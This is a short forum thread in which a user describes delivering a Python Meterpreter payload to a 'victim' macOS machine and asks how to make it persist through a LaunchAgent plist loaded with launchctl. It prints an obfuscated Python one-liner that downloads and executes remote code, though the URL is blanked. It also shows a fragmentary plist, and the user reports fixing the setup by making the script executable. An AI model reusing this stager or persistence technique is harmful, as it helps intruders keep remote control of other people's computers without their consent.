Python Meterpreter Persistence in Mac OS

I’m using a web delivery method to deliver a python meterpreter payload on victim Mac Os machine. My problem is that I want to use the python script that downloads the payload to persist. The python code I use is

import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('');exec(;

I want to be able to use this code in a python script and call it using a .plist and a launch agent. My .plist looks like:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "">
    <plist version="1.0">

With the python code to download meterpreter in I used launchctl load -w /Users/open/Library/LaunchAgents/ to launch the agent. I believe the python file is not executing since I don’t get a connection on msfconsole. What’s wrong with my method?

I made a stupid mistake of not making my Python script executable. Anyways, I think this is a good post for people looking into persistence in Mac OS.

This topic was automatically closed 3 days after the last reply. New replies are no longer allowed.